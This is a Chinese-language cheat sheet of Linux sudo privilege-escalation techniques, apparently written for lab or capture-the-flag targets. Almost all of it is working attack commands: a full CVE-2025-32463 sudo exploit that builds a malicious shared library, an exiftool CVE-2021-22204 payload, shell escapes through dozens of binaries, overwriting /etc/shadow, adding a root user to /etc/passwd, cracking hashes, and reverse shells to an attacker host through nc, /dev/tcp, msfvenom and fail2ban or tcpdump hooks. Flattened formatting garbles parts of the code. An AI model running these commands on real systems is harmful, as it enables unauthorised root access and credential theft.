如果提权失败的话,自己去深入看一下提权的原理,万一是笔记写错了呢?!!

通篇文章的内容都有一个前置条件:sudo -l 有利用的提权信息,若此文章无成功提权,要再多试试别的方法

基础知识1234567sudo -l 列出当前用户可以直接通过 sudo 执行的命令。(可以查看/etc/sudoers 文件中的配置)whoami 查看用户名id 用户组ip a ip地址su 提权到rootuname -a 显示操作系统的信息sudo -V | grep version 查看sudo版本

提权总结: * 某些组件/命令/任务/anything 拥有 sudo 的直接运行权限

* 或者这些命令可以引用自定义的第三方库/脚本

* 语言有免密 root 的运行权限的话,都可以构造进行提权

* 可以调用命令行的程序/工具的参数

小记

**hash破解:**john shadow_hash –wordlist=/usr/share/wordlists/rockyou.txt

无需密码 root 执行: sudo -l:(root) NOPASSWD: /usr/bin/***

提升命令行交互性:

python3 -c “import pty;pty.spawn(‘/bin/bash’)”

新建反弹 shell

提权命令sudo version ≤ 1.8.28123sudo -V | grep version #查看版本sudo -u#-1 /bin/bash #提权

sudo chwootCVE-2025-32463:影响版本1.9.14 <= sudo <= 1.9.17

在靶机中运行此sh脚本即可获取root权限(运行的时候把代码旁边的注释去掉)

1234567891011121314151617181920212223242526272829#!/bin/bash# sudo-chwoot.sh# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch# @ Stratascale Cyber Research Unit (CRU)STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) #创建一个临时目录cd ${STAGE?} || exit 1 #进入该目录 如果失败则退出脚本cat > woot1337.c< #include __attribute__((constructor)) void woot(void) { setreuid(0,0); #将进程的真实用户id和有效用户id设置为0,进程变为root用户 setregid(0,0); chdir("/"); #改变当前工作目录为根目录 execl("/bin/bash", "/bin/bash", NULL); #启动一个新的bash,程序将成为root}EOFmkdir -p woot/etc libnss_echo "passwd: /woot1337" > woot/etc/nsswitch.confcp /etc/group woot/etc#编译恶意共享库gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"sudo -R woot wootrm -rf ${STAGE?}

sudo aptsudo -l 列出枚举项包含 apt 项

1sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

sudo apt-get 同样适用

sudo apache2sudo -l 有 apache2

1sudo apache2 -f /etc/shadow

拿到 hash 加密的 root 密码

1sudo john hash_passwd --wordlist=/usr/share/wordlists/rockyou.txt

sudo ashsudo -l

1sudo ash

sudo awk传递脚本的方式

12sudo -lsudo awk 'BEGIN {system("/bin/bash")}'

sudo base64base32 base48 同理

123456sudo -lcat /etc/shadow //无权限a=/etcsudo base64 "$a" | base64 -d #有看shadow的权限,原因是base64有直接的sudo运行权限拿到shadow之后,使用john破解

sudo bash123sudo -lsudo bash #直接实现提权sudo csh/dash/sh/tclsh/zsh #这几种都是常见的bash环境可以实现提权

sudo cp此操作有后果:会导致靶机中的 shadow 文件的内容都被覆盖掉且不可恢复

原理是将自己创建的 123456 覆盖掉之前的 shadow 文件

12sudo -l #当前用户不需要用户密码就可以直接使用cp命令(root)NOPASSWD:/usr/bin/cp

将修改的 root 信息存好

在靶机中:

123456789101112a=/etc/shadowTF=$(mktemp)echo '修改好的root信息' > $TFecho $TF/tmp/tmp.RmdhLEDVdOcat /tmp/tmp.RmdhLeDVdO//输出修改好的root信息sudo /usr/bin/cp $TF $a #会覆盖之前的shadowsu123456成功

sudo cpulimit1234sudo -lsudo cpulimit -l 100 -f /bin/bash-l:限制cpu使用率-f:指定一个程序受到-l参数的限制

sudo curl1sudo -l

将获取到的 root 信息存储到:shadow_entry 文件

1sudo php -S 0:80 #在kali本地80端口开启一个php服务

1sudo curl http://kali_ip/shadow_entry -o /etc/shadow #靶机sudo权限curl后覆盖原始的shadow

sudo date1234sudo -lsudo date -f /etc/shadow泄露了整个shadow文件的信息jonh破解hash密码

sudo dd1sudo -l

1echo '生成的root信息' | sudo dd of=/etc/shadow

sudo dstat利用点:dstat 可以指定插件名来执行外部的插件

123456789find / -name dstat -type d 2>/dev/null /usr/share/doc/dstat /usr/share/dstatls /usr/share/dstatvim dstat_BinBash.py import os;os.execv("/bin/bash",["bash"])cp dstat_BinBash.py /usr/share/dstat/dstat_BinBash.pysudo dstat --BinBash成功

sudo ed123sudo -lsudo /usr/bin/ed #进入ed编辑器!/bin/bash #提权

sudo env123sudo -l sudo env /bin/bash成功

sudo exiftoolCVE-2021-22204 version:7.44-12.23

12345678sudo -lexiftool -ver #查看是否为漏洞版本vi payload(metadata "\c${system('bin/bash')};") #写入payloadbzz payload payload.bzz #使用bzz工具对payload进行压缩djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz #图片处理sudo exiftool exploit.djvu

sudo expect123sudo -lsudo expect -c "spawn /bin/bash;interact"成功

sudo fail2ban反复登录 ssh,超过 3 次(诸如此类限制)就会把访问 ip 办掉

12345678910111213141516sudo -lfind / -name "fail2ban*" -type d 2>/dev/null /usr/share/doc/fail2ban /usr/lib/python3/dist-packages/fail2ban-0.11.2.egg-info /usr/lib/python3/dist-packages/fail2ban /run/fail2ban /var/lib/fail2ban /etc/fail2ban /etc/fail2ban/fail2ban.dfind /etc -writable -type d 2>/dev/null /etc/fail2ban/action.dcd /etc/fail2ban/lsvim jail.conf

1cd /etc/fail2ban/action.d #脚本目录

1actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc Kali_IP 9595 > /tmp/f

1sudo /etc/init.d/fail2ban restart //重启fail2ban服务

123sudo nc -lvnp 9595 #启动监听sudo shh Baji_Username@Baji_IP #ssh连接靶机多次输入错误密码,超过maxrety后执行actionban脚本提权。

sudo find12sudo -lsudo find . -exec /bin/bash \; -quit

sudo flock12sudo -lsudo flock -u / /bin/bash

sudo ftp1234sudo -lsudo ftp !/bin/bash成功

sudo gcc123sudo -lsudo gcc -wrapper /bin/bash,-s .成功

sudo gdb123sudo -lsudo gdb -nx -ex '!bash' -ex quit成功

sudo git1234sudo -lsudo git branch --help在这个界面不要洞,摁esc然后冒号,输入!/bin/bash成功

sudo gzip/gunzipgzip/gunzip 用法相同

1234sudo -lsudo gzip -f /etc/shadow -t #-f:强制执行拿到shadow内容,使用john破解su #登录root

sudo hping3hping3:用于分析和测试网络环境,生成各种网络包

123sudo -lsudo hping3 /bin/bash

sudo iftop123sudo -lsudo iftop !/bin/bash

sudo java12sudo -l#遇到大的语言程序,想到的就是使用语言本身来进行提权

1sudo msfvenom -p java/shell_reverse_tcp LHOST=Kali_IP LPORT=4444 -f jar -o shell.jar #生成监听文件

12sudo php -S 0:80 #建立简单的web服务sudo nc -lvnp 4444 #启动监听

12345cd /tmpwget http://Kali_IP/shell.jar #下载chmod +x shell.jarsudo java -jar shell.jar成功

sudo jjsjavascript shell

1sudo -l

1sudo nc -lvnp 9595

12echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/Kali_IP/9595;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs成功

sudo journalctl1234sudo -lsudo journalctl !/bin/bash成功

sudo knife123sudo -lsudo knife exec -E 'exec "/bin/bash"'成功

sudo less很多的文本利用机制都是使用的 less 机制,提权机制也是相同的

12345sudo -lmktemp ./XXXXX #生成一个临时文件sudo less (生成的文件) !/bin/bash成功

sudo man1234sudo -lsudo man ls !/bin/bash成功

sudo more12345sudo -l#找一个文件使得more一页放不下sudo more File_Name !/bin/bash成功

sudo mountmount 用于挂在系统的(磁盘、目录等)

1234sudo -lsudo mount -o bind /bin/bash /usr/bin/mountsudo mount #执行bash命令成功

sudo mysql123sudo -lsudo mysql -e '\! /bin/bash'成功

sudo nano文本编辑器

1234567sudo -lsudo nano Ctrl+R Ctrl+X reset;bash 1>&0 2>&0 摁回车成功

sudo neofetch1234sudo -l a=$(mktemp)echo 'exec /bin/bash' > $asudo neofetch --config $a

sudo nice123sudo -lsudo nice /bin/bash #nice可以指定一个程序以10权限运行成功

sudo nmapnmap 的不同版本有不同的提权方式

nmap 可以指定执行脚本文件

12345sudo -la=$(mktemp)echo 'os.execute("/bin/bash")' > $asudo nmap --script=$a成功

sudo nodenode.js

123sudo -lsudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"成功

sudo nohup123sudo -lsudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"成功

sudo openvpn12345sudo -l#指定参数读取sudo openvpn --config /etc/shadow会输出shadow的第一行:root的shadow的记录john破解

sudo passwd123sudo -lsudo passwd root成功

sudo perlperl 也是一种语言

123sudo -lsudo perl -e 'exec "/bin/bash";'成功

sudo phpphp 命令行可以直接执行系统命令

12sudo -lsudo php -r "system('/bin/bash');"

php 还有很多其他的构造形式,使用过程中自行探索

sudo pico文本编辑器

1234567sudo -lsudo pico Ctrl+R Ctrl+X reset;bash 1>&0 2>&0 摁回车成功

sudo pkexec123sudo -lsudo pkexec /bin/bash成功

sudo python312sudo -lsudo python3 -c "import os;os.system('/bin/bash')"

提权命令有很多,有很多方法

sudo rvim123sudo -lsudo rvim -c ':python import os; os.execl("/bin/bash","bash","-c","reset;exec bash")'成功

sudo scpsecure copu:利用 ssh 进行远程的安全的文件复制的工具

123456sudo -la=$(mktemp)echo 'bash 0<&2 1<&2' > $achmod +x "$a"sudo scp -S $a x y:成功

sudo screen终端复用工具

1234sudo -lsudo screen摁回车成功

sudo script123sudo -lsudo script #此命令即可进入root权限,但是会有记录sudo script -q /dev/null #可以进入root但是不会记录

sudo sed强大的文本处理工具

123sudo -lsudo sed -n '1e exec bash 1>&0' /etc/hosts成功

sudo service123sudo -lsudo service ../../bin/bash #service在搜索可执行文件的时候是在path中进行搜索,因此需要../回退目录成功

sudo socat123sudo -lsudo socat stdin exec:/bin/bash

sudo ssh12sudo -lsudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

sudo ssh-keygen12sudo -lvim a.c #编辑一个c文件

1234567891011#include #include #include static void inject()__attribute__((constructor));void inject(){ setuid(0); system("/bin/bash -P");}

123gcc -shared -fPIC -o a.so a.c #生成a.so文件,需查看是否有执行权限sudo ssh-keygen -D ./a.so #提权命令,如果没成功的话自己去调研一下成功

sudo strace追踪和记录另一个进程的系统调用和接受到的信号,对于调试和理解程序的运行方式有用

123sudo -lsudo strace -o /dev/null /bin/bash成功

sudo systemctl1234sudo -lsudo systemctl !/bin/bash成功

sudo tcpdump

监听/捕获网络流量的工具

123sudo -l#将网络流量包捕获并传递给一个脚本进行处理vim a.sh

1mknod a_pipe p && /bin/nc Kali_IP 9595 0a_pipe

123ls -liah a.sh #查看是否有编辑权限ip a #查看靶机的网卡sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /a.sh -Z root #提权命令

12sudo nc -lvnp 9595 #靶机运行提权命令后即可反连进入shell成功

sudo tee此次利用使用的是 passwd 文件,实际场景中研究一下是否也可以使用 shadow 文件呢?

1sudo -l

123openssl passwd -1 -salt UserTest '123456' #生成有盐值的hash值cat /etc/passwd | grep root #获取linux中的passwd的组成形式修改passwd

1234echo 'UserTest:$1$UserTest$zRq5YT8zuNyGcNb/88Uov.:0:0:root:/root:/usr/bin/bash' | sudo tee -a /etc/passwdsu UserTest 123456成功

sudo timedatectl类似 less 利用

1234sudo -lsudo timedatectl list-timezones !/bin/bash成功

sudo tmux端口复用工具

123sudo -lsudo tmux成功

sudo vi1234sudo -lsudo vi :!/bin/bash成功

1sudo vi -c ':!/bin/bash' /dev/null #与上边方法同理

sudo wall广播消息的命令。

有 sudo 权限就可以读取任何文本文件

123sudo -lsudo wall --no /etc/shadowjohn破解shadow

sudo watch周期性(每 2s)执行命令并显示结果的程序,-x 参数可以在命令行输出执行的参数

123sudo -lsudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'成功

sudo wget123456sudo -la=$(mktemp)chmod +x $aecho -e '#!/bin/bash\n/bin/bash 1>&0' > $asudo wget --use-askpass=$a 0 #构造use-askpass参数成功

-o 参数可以将下载的内容重写到某一个位置(也可以利用)

sudo zip-T #检测压缩文件的完整性

-TT #指定一个程序去检测压缩包的完整性,可以指定加入提权逻辑的程序

123sudo -lsudo zip foo /etc/hostname -T -TT 'bash #'成功

sudo xxd可以将一个二进制文件转换成 十六进制,也可逆

123sudo -lsudo xxd /etc/shadow | xxd -r #明文shadow文件john破解

OVER!